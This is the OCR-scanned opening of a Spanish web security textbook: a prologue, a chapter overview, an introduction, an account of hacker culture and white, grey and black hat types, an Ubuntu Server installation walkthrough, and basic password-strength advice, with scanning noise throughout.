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Prologo

Quien esta leyendo estas palabras se encuentra frente a un
libro que puede abrirle las puertas al maravilloso mundo de la
seguridad informatica. Los aspectos mas importantes de la materia
son explicados de manera entretenida, con ejemplos practicos,
porque la mayoria de las personas que trabajamos en seguridad lo
hacemos no solo como un trabajo, sino también como un juego que
nos permite mantenernos siempre alertas, siempre aprendiendo.

Recomiendo leer este libro detenidamente, prestando atencion
a cada uno de los consejos v, si es posible, llevando a la practica,
paralelamente, todos y cada uno de los ejercicios propuestos. De
este modo se irdn encontrando las respuestas a las preguntas que
el mismo libro sugiere plantearse. Después de todo, un buen libro
no debe dejarnos solo respuestas, si no también preguntas que
antes ni siquiera se nos hubiesen ocurrido.

Todos los ejemplos estdn basados en GNU/Linux, que es el
mejor sistema para aprender sobre seguridad, puesto que expone
todo su funcionamiento interno para que podamos analizarlo y
entender mejor cada una de sus partes. Sin embargo, una vez
adquiridos los conocimientos, se vuelve sencillo transportarlos
a cualquier otro sistema.

Por supuesto, se hablara acerca de protocolos (como DNS y
HTTP) pero, a diferencia de lo que sucede con muchos otros libros,
se va a explicar de una manera clara para qué sirven y por qué son
importantes en el funcionamiento de internet (algo fundamental
para cualquier persona que se encuentre interesada en aprender
las artes del hacking). Indefectiblemente, también se desarrollaran
los atagues mas populares, de los cuales son victimas muchas
aplicaciones web.

Cuando comencé a interesarme por la seguridad hubiera estado
encantado de poder contar con esta obra. Sugiero al lector que
la aproveche y lea detenidamente, ya que le brindara recursos

invaluables que le permitirdn ser un mejor profesional.

Fabian Portantier

www.redusers.com £ <4
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El libro de un vistazo

Este libro esta dirigido a los programadores que deseen desarrollar apli-
caciones web con un mayor nivel de seguridad y a todas aquellas personas a
quienes les interese comprender las técnicas utilizadas por los hackers para
comprometer un servidor web y sus componentes. Nos enfocaremos en el
analisis de estas técnicas, aplicando siempre la contracara de la defensa.

* %
SEGURIDAD EN LA WEB

Instalaremos la distribucion Linux Ubuntu Server

para realizar las practicas que se desarrollan

a lo largo del libro. Ademas, explicaremos
conceptos basicos y medidas de seguridad
tales como la asignacion de contrasenias,
permisos, distribucion de servicios y respaldos
de informacidn.

*r %

SERVIDORES DNS

Analizaremos en profundidad los servidores
DNS, su estructura y funcionamiento. Ademas,
aprenderemos técnicas de extraccion de datos
que se pueden aplicar al servidor DNS de una
organizacion para obtener informacion sobre la
estructura interna de su sitio web.

*f

PROTOCOLO HTTP

444

Conoceremos tanto los métodos de peticion
existentes en el protocolo HTTP, como las
cabeceras que podemos definir y utilizar para
obtener informacion sobre un servidor web y el
software que utiliza.

»  www.redusers.com
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ATAQUES CROSS-SITE

Los ataques de tipo Cross-Site aprovechan
fallos de seguridad en los sitios para afectar a
sus usuarios, robandoles sus credenciales de
acceso e incluso apoderandose por completo
de su navegador web. Aprenderemos estas
técnicas de ataque para desarrollar una
aplicacidn que las resista.

* 1

DEL CLIENTE AL SERVIDOR

Aprenderemos a manipular los formularios de
modo que podamos ver informacién acerca de
éstos, eliminar limites de caracteres, ver campos
ocultos y saltar todas las protecciones de un
sitio, utilizando tecnologias del lado del cliente.

*Ne 4

INCLUSION DE ARCHIVOS

Un incorrecto filtrado de los archivos que pueden
incluirse dentro de una aplicacion puede derivar
en un fallo de seguridad que permita a un

hacker obtener el control total del servidor web.
Comprenderemos como se produce esta falla y la
manera de evitarla en nuestros proyectos.
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* %
EJECUCION REMOTA DE CODIGO

Identificaremos las funciones PHP que pueden
convertirse en un vector de ataque cuando
no son utilizadas correctamente por los
desarrolladores. Ademas, aprenderemos a
evadir filtros y, finalmente, a implementar las
protecciones adecuadas.

* NG %
REVELACION DE INFORMACION

Conoceremos los errores de configuracion

mas frecuentes que permiten a un hacker
obtener informacion de gran utilidad sobre un
servidor web, sin hacer demasiados esfuerzos.
Analizaremos cuales son estas configuraciones
inseguras y las modificaciones que podemos
realizar para evitar exponer informacion sensible.

*NC 4

INYECCION SQL A BASES DE DATOS

Las inyecciones SQL le permiten a un hacker
saltar un sistema de autenticacion hasta
obtener una base de datos completa.
Realizaremos inyecciones SQL a los gestores
MySQL, PostgreSQL y Oracle Database.
Ademas, implementaremos protecciones
desde el cadigo para evitar, en lo posible, las
inyecciones SQL en nuestra aplicacion.

*40 4

SEGURIDAD EN EL SERVIDOR

Luego de analizar los fallos de programacion
que pueden derivar en vulnerabilidades dentro
del cadigo de una aplicacién, es hora de
implementar seguridad dentro del servidor
web. Aprenderemos a instalar un Web Firewall
y a reforzar todas las medidas que hemos
aprendido en capitulos anteriores.

INFORMACION COMPLEMENTARIA

A lo largo de este manual, podra encontrar una serie de recuadros que le brindaran informacién complementaria:

curiosidades, trucos, ideas y consejos sobre los temas tratados. Para que pueda distinguirlos en forma mas sencilla,

cada recuadro esta identificado con diferentes iconos:

' CURIOSIDADES § . ATENCION
E IDEAS

DATOS UTILES
Y NOVEDADES

@ SITIOS WEB

www.redusers.com €
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Introduccion

En sus comienzos, la web no era mas que documentos en texto
plano que se enlazaban unos a otros mediante hipervinculos. Hoy, esos
simples documentos evolucionaron a tal punto que se convirtieron en
complejas aplicaciones capaces de interactuar con el usuario y manejar
inconmensurables cantidades de informacion de todo tipo.

Junto las tecnologias web, también evolucionaron los problemas
vinculados a la seguridad, en especial porque estas novedosas aplicaciones
empezaron a ofrecer servicios que requerian de informacion tan sensible
como tarjetas de crédito y datos confidenciales sobre sus usuarios.

Esta constante evolucidén tecnoldgica, y los problemas de seguridad
que suscita, fueron los aspectos fundamentales que motivaron a realizar
esta obra, cuyo objetivo principal es que el lector pueda comprender
las fallas de programacion y configuracion que permiten a un atacante
comprometer la seguridad de una aplicacion web y sus bases de datos.

La premisa que guia este libro es que para saber defenderse es
necesario saber atacar. Debido a esto, en cada tema expuesto se
desarrollan ejemplos de codigos que son analizados para identificar la
falla que poseen y como puede ser explotada por un atacante. A partir de
esta explicacion, se proponen diversas maneras de solucionar cada una
de las vulnerabilidades de seguridad que han sido tratadas.

Empezaremos desde los conceptos mas basicos y los consejos
mas simples —pero que son indispensables— y avanzaremos hasta los
protocolos involucrados en una plataforma web y el modo en que pueden
convertirse también en un vector de ataque.

Luego analizaremos de manera integral los fallos mas frecuentes
de seguridad en la programacion de aplicaciones web y como pueden
ser descubiertos y explotados, junto a la manera de solucionarlos.
Aprenderemos también como un atacante puede obtener una base
de datos completa realizando técnicas de ataque a los gestores mas
populares y, por altimo, implementaremos medidas de proteccién mas
avanzadas en el interior del servidor web.

Espero que este libro sea una gran herramienta, que permita comprender
las técnicas mas utilizadas por los hackers para comprometer la seguridad
de todos los componentes que se encuentran en un servidor web.

Bienvenidos a la seguridad en el universo web.

Sheila Berta



Seguridad en la web

En este primer capitulo nos introduciremos en la seguridad
informatica, a partir de la definicion de conceptos y la
identificacion de los personajes involucrados.

Empezaremos desde cero con la seguridad de una plataforma
web e instalaremos un servidor y le aplicaremos medidas
basicas de proteccion: contrasenas, permisos de usuarios

y archivos y configuraciones de las aplicaciones.
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Marco historico
y definiciones

Hace algliin tiempo se hablé mucho acerca del sitio WikiLeaks, que
public6 documentos secretos del Pentagono y otras organizaciones
gubernamentales. El grupo hacktivista Anonymous sali6 en su
defensa mediante la operacién conocida como Operation Payback,
contra las leyes del ACTA (Acuerdo Comercial Anti-Falsificacion), los
derechos de autor y la censura en internet.

Finalmente, se desaté una guerra informatica que llamé la atencion
de muchos paises y del periodismo mundial.

Hechos como este pueden hacernos surgir preguntas como:
¢podria un hacker obtener informacién confidencial acerca de mi?
En caso de tener una empresa, ;como puedo evitar que roben los
datos de mis clientes o de mis productos?;Existe alguna manera
certera de proteger mi informacién privada?

En esta primera parte del capitulo nos enfocaremos en definir
conceptos claves que nos ayudaran a comprender mejor el resto de
la obra, a lo largo de la cual iremos respondiendo estas preguntas.

Figura 1. Bandera del grupo hacktivista
Anonymous, utilizada en la mayoria
de los videos y mensajes de su autoria.

» www.redusers.com
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Seguridad informatica en la web

Para comprender mejor esta expresion,
podriamos definir dos conceptos: por un lado,

seguridad informatica, y por el otro, seguridad LA SEGURIDAD

informatica aplicada a la plataforma web. |NFORMAT|CA
Definir seguridad informatica podria ser algo

complicado. A lo largo de los afios se le han dado PROTEGE LOS DATOS

muchas definiciones diferentes a este término. La DE LOS SISTEMAS

informatica abarca el tratamiento de informacién

utilizando sistemas computacionales; cuando COMPUTACIONALES

hablamos de seguridad informatica, entonces, nos

referimos a como proteger esa informacion de

personas malintencionadas o, simplemente, de quienes no deban verla.

Para hacerlo debemos mitigar los riesgos que se encuentren en el sistema.
En este libro trataremos especificamente la seguridad informatica

aplicada al campo web. Actualmente, existen millones de aplicaciones

webs que contienen y manejan diariamente informacion sensible (bancos,

correos electronicos, webs de compra y venta, cuentas privadas, etcétera).

Si dicha informacion sufriera un robo o fuera alterada, podria llegar a

comprometer seriamente tanto a las organizaciones como a sus usuarios.

Dowbie & Cretier 2 T35 [ Fmer G wager @ Wiomanse [l Meceineou o Outine o/ Resie 38 Took® B View Sowce: & Opoen

DD 0000 CEE>

SECURITYSYDEFAULT.COM

0 HERAMIENEAS 1D CONTACTA/SOBRE SICURIIYEVIRFAULH

LISTADO DE PACKERS'Y ‘CRYPTERS GRATUITOS

- O] 2 L

Figura 2. Security by Default
(www.securitybydefault.com) es un excelente
blog en espanol sobre seguridad informatica.

www.redusers.com &«



1 [ .Y USERS | 1. SEGURIDAD EN LA WEB

Hackers y Defacers

Algunas personas llaman a los hackers criminales informaticos,
piratas de la red, mafiosos de las computadoras, terroristas
cibernéticos, entre muchos otros términos. Esto puede deberse a
que es comun escuchar noticias donde se acusa a un hacker de haber
robado miles de cuentas bancarias, de correos electronicos y de redes
sociales, o tal vez de haber ingresado al
sistema de alguna empresa o gobierno y
alterado informacion confidencial, entre
otros delitos cibernéticos.

Por el contrario, otras personas los
admiran por su gran conocimiento (aunque
quizas no sepan exactamente quiénes son
y qué hacen). También hay quienes ni si
quiera saben que existen.

Dedicaremos esta seccion del libro a
aclarar todas las dudas que puedan surgir
acerca de los hackers.

Figura 3. Die Hard 4.0 es un
film con Bruce Willis donde los hackers
son protagonistas.

En la década del 60, el MIT (Instituto Tecnologico de
Massachusetts) adquirié la primera computadora, PDP-1. Sus
estudiantes, que poseian un laboratorio de inteligencia artificial,

444

Para obtener material adicional gratuito, ingrese a la seccion Publicaciones/Libros dentro de http://

premium.redusers.com. Alli encontrara todos nuestros titulos y podra acceder a contenido extra
de cada uno, como sitios web relacionados, programas recomendados, ejemplos utilizados por el
autor, apéndices y archivos editables o de codigo fuente. Todo esto ayudard a comprender mejor los
conceptos desarrollados en la obra.
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desarrollaron herramientas de programacion y el Instituto se convirtio
en el primero en dictar cursos de ciencias de la computacion. Fue
en ese momento cuando empezé a surgir lo que hoy conocemos como
cultura hacker. Los estudiantes del MIT se hacian llamar hackers
porque mejoraban o modificaban programas para que realizaran
acciones diferentes a las originales.

En 1969, el Departamento de Defensa de los Estados Unidos cred
la primera red de computadoras intercontinental de alta velocidad,
ARPANET. Logré comunicar a cientos de investigadores de universidades,
escuelas y centros de investigacion, facilitando el intercambio de
conocimientos e informacién con gente de cualquier parte y
contribuyendo al avance de la tecnologia y de la cultura hacker.

Figura 4. El emblema hacker, un simbolo de la cultura
hacker creado por Eric S. Raymond en octubre de 2003.

Parecidos pero diferentes

La palabra hacker ha recibido diferentes definiciones a lo largo
de los afios. Sin embargo podemos afirmar que se trata de una
persona apasionada por el conocimiento, siempre dispuesta a seguir
aprendiendo, investigando y actualizandose sobre un tema determinado,
que podria ser completamente diferente a la informatica, aunque
asociemos la palabra hacker automaticamente con una computadora.

www.redusers.com &«
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En el ambito de la seguridad informadtica, un hacker es un experto
en el tema. Por este motivo es que algunos individuos dicen ser
hackers con el iinico objetivo de poder sorprender a quienes no tienen
muy en claro lo que esto realmente significa.

Probablemente hayamos notado que en el titulo de esta seccién
se nombra a un segundo personaje, el defacer. La denominacion se
atribuye a quienes practican el deface o defacing: se trata de
modificar la portada o cualquier otra pagina de un sitio web sin la
autorizacion del administrador. Quizas nos estemos preguntando qué
sentido tiene hacer esto o con qué objetivo lo hacen. Por lo general, la
intencion es de dejar un mensaje a los duefios de la pagina, algo que
vemos muchas veces en noticias que muestran sitios webs de
empresas, instituciones o gobiernos que son defaceados.

OwneD) by Cvir.System =)

UN SERVICIO DE TERROR
0800-TE CSTAFO-JAJAJA

Figura 5. Deface realizado a Speedy/Telefonica
por Cvir.System en el ano 2010, con un claro mensaje de queja.

Tipos de hackers

Como hemos dicho, un hacker es una persona de abundantes
conocimientos, un verdadero experto en el area. Sin embargo, si bien hay
quienes utilizan estos conocimientos para asegurar y proteger los sistemas
informaticos, otros buscan el modo de romperlos o acceder a ellos sin
autorizacién para robar la informacién que contienen. Aqui es donde entra
en juego la ética hacker. Seguin la eleccion que hagan, se los clasifica
como White Hat o Black Hat (sombrero blanco o sombrero negro).

» www.redusers.com
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Los White Hat Hackers (o hackers de

sombrero blanco) son quienes utilizan sus LA ETICA
conocimientos para brindar proteccion a los PROFESIONAL
sistemas informaticos. Suelen analizar aplicaciones

—generalmente de codigo abierto- en busca de DIVIDE A LOS
vulnerabilidades, con el fin de reportarlas y HACKERS EN WHITE
aumentar la seguridad del software. Muchos

trabajan para grandes empresas o proyectos de HAT Y BLACK HAT

informatica enfocados a mejorar la seguridad.

Los Black Hat Hackers, al contrario, utilizan
sus saberes para corromper el funcionamiento de un sistema o robar
la informacién que contenga. El hecho de que sean hackers de sombrero
negro no significa que posean menos conocimientos que los de sombrero
blanco. Los Black Hat también son hackers y tienen gran conocimiento
pero escasa ética. Buscan vulnerabilidades en aplicaciones pero no las
reportan, sino que las explotan a su conveniencia.

¢Existe una linea intermedia entre estos dos tipos de hackers?
Efectivamente la hay: los Grey Hat Hackers. Estos utilizan sus
conocimientos para defender, algunas veces, y otras para atacar, segin
les convenga. Por ejemplo, si encuentran vulnerabilidades en aplicaciones,
analizaran si les conviene mas reportar la falla o no hacerlo, segtn lo que
la empresa dueia del software les ofrezca y sus propios objetivos.

Figura 6. Hacker Evolution es un juego que pretende desafiar
la inteligencia de los gamers, quienes deben asumir el papel de un hacker.

www.redusers.com &«
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Psicologia del hacker

La maravillosa sensacién de llegar al final de la meta, de cumplir un
objetivo, de conseguir lo que se quiere. La adrenalina al entrar a un lugar
desconocido, secreto o prohibido. La exaltacién por descubrir algo que
todavia nadie descubrié... ;seran esas emociones las que impulsan a un
hacker a hacer lo que hace? Es probable que si, pero no todos tienen las
mismas motivaciones y objetivos.

Muchos coincidiran en que la curiosidad es indispensable para
introducirse en este mundo. Impulsa a los principiantes a seguir
aprendiendo e investigando el funcionamiento de las cosas, a no
quedarse solo con lo que se ve en la pantalla e ir mas alld. Muchas
veces es también la causa por la cual un hacker experimentado entra
a un sistema, queriendo saber qué hay, con qué informacién se va a
encontrar y si podra serle util o no.

Por otra parte, existen quienes solo buscan engrandecer su
nombre: por lo general, los defacers. Una gran parte de ellos no
son en realidad verdaderos hackers sino adolescentes con minimos
conocimientos, que solo quieren alimentar su ego y conseguir el
respeto de sus pares. Un deface que muestra el nombre de quien
lo realizé, sin ningiin mensaje hacia los administradores, es el
prototipo de lo que son capaces de hacer. Un verdadero Black Hat
Hacker no desperdiciara el tiempo poniendo su nombre en una
pagina web, ya que si consigue
acceso a un sistema buscara
beneficiarse con lo que ha
Agd Scorp & Thehacker logrado y pasar desapercibido.

Google Puerto Rico Hacked !

rxS & Cri@zy King © BLaSTeR

Figura 7. Deface realizado
a la pagina de Google
de Puerto Rico en el ano 2009.

Kereml2$, Jextoxic , S3f4, Redrolix, Kacak
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Un White Hat Hacker quizas tenga como objetivo conseguir
trabajo en una empresa de seguridad informatica, por lo que buscara
la manera de demostrar lo que sabe (por ejemplo, encontrando fallas
de seguridad en las aplicaciones de la empresa y reportandolas hasta
que logre conseguir oficialmente un puesto).

Seguramente un Black Hat Hacker también quiera conseguir dinero
aprovechando todo el conocimiento que tiene, pero elige otros
caminos, tales como el robo de cuentas bancarias y la venta
de contrasefias de correos electronicos y redes sociales.

Como conclusion, podriamos decir que son multiples las
motivaciones que puede tener un hacker. Van desde la simple curiosidad
y las ganas de divertirse hasta la busqueda de un beneficio econémico
a partir de lo que sabe. Todo dependera de sus objetivos finales.

Ahora que conocemos a los hackers y sus motivaciones, vamos a
realizar la instalacién de un servidor web para poder llevar a cabo
las pruebas de seguridad.

Instalacion de un
servidor web

Para realizar todas las pruebas de seguridad que analizaremos
en este libro es ideal que contemos con un servidor web propio donde
podamos hospedar nuestros codigos de ejemplo y hacer practicas.

En la actualidad, muchos servidores web utilizan como sistema
operativo alguna distribucién GNU/Linux (Debian, CentOS,
OpenSuSE, Fedora, entre otras). Estas distribuciones no vienen

La ética es una rama de la filosofia que abarca el estudio de la moral y esta asociada a la distincion

entre lo que se considera bueno y malo. La ética de un hacker se ve reflejada en las decisiones que
toma, por ejemplo, al obtener acceso a un sistema. Finalmente, segtn su ética sera un Black Hat
Hacker o un White Hat Hacker (ethical hacker).

www.redusers.com &«



22 D=4 1. SEGURIDAD EN LA WEB

especificamente para ser instaladas en servidores web, por lo cual
es muy probable que contengan aplicaciones innecesarias. Por ejemplo,
no nos seria de nada util contar con la aplicacion OpenOffice si estamos
usando la distribucién en un servidor web.

Seguramente hemos escuchado hablar sobre la famosa
distribucién GNU/Linux Ubuntu. Esta distribucién cuenta con
una version llamada Ubuntu Server que es muy facil de instalar
y no trae aplicaciones innecesarias, ya que viene especificamente
preparada para ser instalada en servidores web. A continuacion,
detallaremos su instalacion.

Descarga de Ubuntu Server

Dado que esta version de Ubuntu es especifica para servidores web,
cuenta con un kernel optimizado y sus requisitos minimos son de
128 megabytes de RAM y 1 gigabyte de espacio en el disco.

Para descargar Ubuntu Server ingresamos al sitio web oficial
de Ubuntu (www.ubuntu.com), nos dirigimos al menu Download y en
el menu desplegable seleccionamos el item Server.

(B Domeriond Utusts nve | Uturm. +
D Dot & Cosoer # €55+ [ Froww i brugers ) barmation: [ Micelmvesur 7 Outirns o Reiiee & Toste B View Siurces ()] Opborn

Ubuﬂtu. Gesktap  Phone  Tablet TV Semer  Clood  Mansgememt  Doseined

Download Ubuntu Server

For extended support,

4 bt |1z nmmarnded

Get Ubunty 1204 115

Figura 8. Ubuntu cuenta con versiones adaptadas a las necesidades
de cada usuario, entre ellas Ubuntu Desktop y Server.

Tendremos que elegir si descargamos la version de 32 bits o de
64 bits. Una vez hecho, presionamos el bot6n Get Ubuntu.
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Instalacion del sistema

Una vez terminada la descarga de la imagen .iso de Ubuntu Server
procedemos a grabarla en un CD y arrancamos desde éste para iniciar
con la instalaciéon del sistema.

Si no queremos hacer cambios en nuestro equipo al instalar Ubuntu
Server, tenemos otra opcién, que es utilizar una maquina virtual.
Estas nos permiten instalar el sistema operativo deseado sin alterar la
informaciéon que contenga nuestro disco duro. En el tema Reduccion
y distribucion de servicios de este capitulo podremos encontrar
mas informacién sobre las maquinas virtuales.

Language

Amharic Gaeilge Malayalam Thai
Arabic Galego Marathi Tagalog
Asturianu Gujarati Nepali Tiirkce
Benapyckaa [ nau Nederlands Uyghur
BbArapcku Hindi Norsk bokmal YkpaiHcbka
Bengali Hrvatski Norsk nunorsk Tiéng Viet
Bosanski Magyar Punjabi (Gurmukhi) dh =T (AT 44
Catald Bahasa Indonesia | Polski h3 (2 E8)
Cestina Islenska Portugués do Brasil
Dansk Italiano Portugués
Deutsch A< Romana
Dzongkha Joboyeo Pycckuin
EAANVLKE kazak Samegillii

Khmer RO
Esperanto B3 3% Slovencina
Espafiol Br=0] slovenscina
Eesti Kurdi shoip
Euskara Lao Cpnckn
s Lietuviskai Svenska
Suomi Latviski Tamil
Francais HakeaoHokm S7e%

Figura 9. Como podemos observar, Ubuntu Server
esta disponible en una amplia cantidad de idiomas.

La Figura 9 muestra la primera pantalla que aparece al arrancar desde
el CD. Como Ubuntu Server esta disponible en muchos idiomas, nuestro
primer paso sera seleccionar el idioma con el que preferimos trabajar.

Para quienes gustan de Linux, Ubuntu es una gran distribucién, con diferentes versiones actualizadas

constantemente y adaptadas a las necesidades de cada usuario. Ademas, hay abundante documentacién
de ayuda en internet y portales donde es posible plantear cualquier inquietud sobre el tema.
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Acto seguido obtenemos una nueva pantalla con varias opciones,
tal como se observa en la Figura 10. Lo mas rapido es elegir la primera
opcion, Instalar Ubuntu Server. Si vamos a instalar el sistema en un disco
duro quiza sea recomendable optar por Comprobar defectos en el disco
antes de arrancar con la instalacion, que también permite repararlo en
el caso de que ya lo tengamos instalado.

ubuntu®

Instalar Ubuntu Server

Figura 10. Una buena practica es elegir la opcion Comprobar
defectos en el disco, que nos evitara problemas en la instalacion.

Si elegimos la primera opcién, inmediatamente comenzara el
instalador de Ubuntu Server. Como podemos observar, no tiene una
bonita interfaz grafica, ya que no trae instalado ningiin entorno grafico
como KDE (www.kde.org) o GNOME (www.gnome.org).

En esta primera parte de la instalaciéon tendremos que configurar
cuestiones basicas; en primer lugar, debemos seleccionar nuestro
pais o region y luego el origen del teclado que estemos utilizando.

= 444

Existen muchos films relacionados con estos temas. Entre otras, se encuentran: Sneakers (1992),
The Net (1995), Hackers (1995), The Matrix (1999), Takedown (2000), Antitrust (2001), Firewall
(2005), The Net 2 (2006) y Die Hard 4 (2007).
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Luego continuamos con la configuracion de red e introducimos un
nombre para nuestra maquina (tal como muestra la Figura 11).

Por favor, introduzca el nombre de la méguina,

E1 nombre de maguina es una sola palabra que idemtifica el sistema en [a red. Consulte ai
administrador de red si no sabe gué nonbre deberia tener. Sl estd configurando una red
domést ica puede inventarse este nombre.

Nonbre de la méguina:

<Retroceder> <Cont inuar>»

Figura 11. Introducimos el nombre de la maquina
y luego el nombre de usuario.

Luego de indicar el nombre del equipo, procedemos a configurar
usuarios y contrasefias. Primero se nos solicita el nombre completo
del usuario, luego ingresamos el nombre de la cuenta y finalmente
le asignamos una contraseia (se pedira confirmacion).

Selecclone un nonbre de ususclo para la nueva cuenta, Su nombre, sin apellidos nl
espacios, es una eleccién razonable. El nombre de usuario debe empezar con una letra
mindscula, seguida de cualguier cosbinacion de nimeros y mas letras min(sculas.

Nombre de usuario para la cuenta:

<Retroceder <Cont inuar>

Figura 12. En esta ventana introducimos un identificador
de usuario (o nombre de usuario para la cuenta),
que no necesariamente debe ser igual al nombre real.

www.redusers.com
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Continuando con la instalacién, configuraremos el reloj. El instalador
automaticamente nos dira nuestra zona horaria de acuerdo a la
ubicacion geografica que hayamos elegido en los pasos anteriores.

Si es correcta, seleccionamos Si.

Llegamos asi a un paso que tiene fama de ser complicado: el
particionado de discos. Se presentan algunas opciones, tales como
el Particionado guiado usando todo el disco o el Particionado manual. En la
mayoria de los casos se utiliza la primera, ya que se esta instalando un
servidor web que generalmente estara en funcionamiento las 24 horas
los 365 dias del aio.

L &) 1 ado de dis I
Este Instalador puede gularle en el particionado del disco (utilizando distintes esguemas
estandar) o, sl lo desea, puede hacerlo de forma manual, S1 escoge el sistema de
particionado gulado tendrd la oportunidad més adelante de revisar y adaptar los
resultados.

Se le preguntara qué disco a utilizer si elige particlonade gulado para un disco
completo.

MEtodo de partlcionado:

= Utlllzse Yodo €1 di

SCH
Guiado - utilizar el disco completo y conflgurar LVH
Guiado - utilizar todo el disco y configurar LVWW cifrado
Marual

<Retroceder>

Figura 13. Quienes tengan conocimientos en Linux
pueden utilizar tranquilamente el particionado manual.

En la préxima ventana elegimos en qué disco duro queremos
instalar Ubuntu Server; luego aparecera un resumen con las
modificaciones que se haran sobre el disco que hayamos
seleccionado. Si estamos de acuerdo pulsamos Si y, finalmente,
comenzara la barra de progreso que mostrara el estado en que se
encuentra la instalacién de Ubuntu Server sobre nuestro disco duro.

Existe la posibilidad de configurar el acceso a la red mediante
un proxy. Si no tenemos ninguno, dejamos el campo en blanco y
continuamos. Se realizaran algunas configuraciones automaticamente
y luego tendremos que elegir la forma en que se administraran las
actualizaciones del sistema: podemos elegir la opcion Sin actualizaciones
automaticas o Instalar actualizaciones automaticamente.

» www.redusers.com
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En este momento nos encontraremos con una parte muy interesante:
la seleccion de programas. Ya estamos muy cerca de finalizar por
completo la instalacion de Ubuntu Server.

{1 (1} S=leccion de programss |

De momento sflo estd instalado el sistema bésico. Puede escoger la instalaclén de las
sigulentes colecciones predefinidas de programas pars adaptar més la instalacién a sus
neces idades.

Elegir los programas & instalar:

Cont inuar>

Figura 14. Ubuntu Server nos da la posibilidad de instalar
automaticamente servicios necesarios en un servidor web.

Este paso queda a preferencia de cada uno, segin lo que se quiera
instalar. Tenemos varias posibilidades, entre ellas LAMP Server,
que instala los servicios de Apache, MySQL y PHP. Las siguientes
pantallas dependeran de lo que hayamos seleccionado: por ejemplo,
si elegimos LAMP Server, se nos pedira la contraseia para el usuario
root de la base de datos MySQL.

Por ultimo, si instalamos Ubuntu Server junto a otros sistemas
operativos, instalaremos el gestor de arranque (GRUB), que nos
permitira elegir con cual iniciar. Aunque esté solamente Ubuntu Server
en nuestro disco duro, optamos por Si y finalizamos con la instalacién
del sistema. Para concluir, extraemos el CD y reiniciamos el equipo.

Desde https://help.ubuntu.com podemos acceder a la documentacion oficial de Ubuntu (en inglés). Alli

podremos encontrar la Ubuntu Server Guide con informacién muy atil sobre cémo instalar y configurar

el sistema, la red y servicios como OpenSSH, LAMP Server, DNS, FTP, entre otros.
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buntu 12.04.2 LTS us-shey ttyl

1s—shey login: shey
Password :
elcome to Ubuntu 12.04.2 LTS (GNU-Linux 3.5.0-Z3-generic i686)

* Documentation: https://help.ubuntu.com/
System information as of Sun Jun 9 18:29:49 ART 2013

System load: 0.78 Processes: 80

Usage of ~: 15.2~ of 6.89GB Users logged in: 0

Memory usage: 8« IP address for ethO: 10.0.2.15
Suap usage: 0

Graph this data and manage this system at https://landscape.canonical.con/

The programs included with the Ubuntu system are free software:;
he exact distribution terms for each program are described in the
individual files in susrssharesdocs/=/copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

hey@us-shey: ™S _

Figura 15. Si nuestra instalacion fue un éxito, obtendremos
como resultado final una pantalla similar a la que vemos en esta figura.

Consejos basicos

A esta altura del capitulo ya tenemos en claro los conceptos basicos
y sabemos quiénes son los hackers, qué hacen y como piensan. Por
supuesto, también debemos tener en funcionamiento nuestro servidor
web. Si esto es asi, llegé el momento de comenzar con el tema que
verdaderamente nos importa: la seguridad web. Empezaremos con
los consejos basicos, indispensables para proteger nuestro sistema.

Contrasenas seguras

Obtener el control total sobre un servidor web ajeno puede ser
mucho mas facil de lo que pensamos. Si hablamos de contrasenas
esto se intensifica atin mas, ya que no solo es posible apoderarse
de un servidor web sino de cualquier tipo de cuenta que posea una
contrasena de acceso. A continuacion, veremos cuales son los errores
mas frecuentes que un usuario comete al crear contrasenas.

e Contraseias por defecto: muchos paneles de administracion,
dispositivos y cuentas de cualquier tipo suelen venir con una
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contrasefa predefinida. Generalmente estas contrasefias son muy
sencillas, como la clasica “1234”, y por ende faciles de adivinar. Es

un error muy comiin no cambiarlas, ya que probablemente un hacker,
al encontrarse con un panel de administracion, intente ingresar
usando combinaciones de este estilo.

Log i to the router:

User Name Admin
Password  seee [L1ogin |

WIRELESS

Figura 16. Los routers suelen venir con usuario
y contraseria predefinidos, muy faciles de adivinar.

e Contraseias obvias: pongamonos en el lugar del hacker.
Si el primer método no funciona (es decir, si la contrasefia no era
ninguna de las predefinidas) empezara a pensar cual otra puede
ser. Aqui es donde entra en juego toda la informacién personal
que tiene el hacker sobre el usuario de la cuenta. Cuando decimos
contrasefas obvias nos referimos a las que contienen informaciéon
personal, como nuestro nimero de teléfono o celular, domicilio,
nombres, etcétera. Es muy comun utilizar estos datos como

LISTAS DE CONTRASENAS POR DEFECTO

En internet podemos encontrar varios sitios donde se muestran listados de usuarios y contra-
sefias por defecto que traen muchos dispositivos de red, como los routers. Uno de ellos es el sitio
http://routerpasswords.com, donde podemos seleccionar el modelo del router. Otro, un poco més
detallado, es www.phenoelit-us.org/dpl/dpl.html.
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contrasefa ya que son faciles de recordar, pero a la vez muy
faciles de obtener por otra persona.

e Contrasenas repetidas: usar la misma contrasefia para todas
las cuentas puede ser peligroso. Sabemos que recordar una sola
contrasefa es mas facil que memorizar unas cuantas, pero un
hacker también lo sabe y, si consigue la contrasefia de alguna de
nuestras cuentas, enseguida se fijara si coincide con las demas.

e Contraseiias débiles: al crear una cuenta de correo electroénico,
por ejemplo en Outlook, podemos observar que a la derecha del
campo para la contrasefia nos aparece un mensaje que nos obliga
a combinar letras, nimeros y/o simbolos para crear una clave mas
segura. Esto se debe a que existen ataques por fuerza bruta, es
decir, programas que obtienen las contrasefias probando todas
las combinaciones posibles dentro de un set de caracteres dado.
Mediante este ataque la contrasefia va a ser encontrada en algin
momento, pero el proceso puede demorar desde unos pocos
segundos hasta horas, dias, semanas, meses o afios, dependiendo
de la longitud y complejidad de la clave y del equipo atacante.
También existe el ataque de diccionario, que, a partir una lista de
posibles contraseias, intenta conseguir el acceso a prueba y error.
Este ataque es mas eficiente si la contrasefia esta definida en la lista
o diccionario, pero es inutil si no lo esta. En conclusién, cuanto mas
extraia sea la contrasefa mas dificil serd obtenerla.

Tengamos presentes estos cuatro tipos de contraseias inseguras
cada vez que debamos crear alguna. Si nuestra contrasefa no contiene
datos personales, no es una de las clasicas predefinidas ni esta
compuesta unicamente por letras, podriamos considerarla segura
0, al menos, dificil de conseguir.

La longitud y complejidad de una contrasefia son los factores claves para que sea segura. En lo posible

hay que utilizar 14 caracteres o més, alternar entre mayusculas y mintsculas e incluir nimeros y simbo-
los. Para recordarla, intentemos llevar algtn orden. Por ejemplo, colocar los simbolos al final, incluir un

nimero que nos resulte familiar y poner en mayuscula solo las vocales.
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Cuenta Microsoft

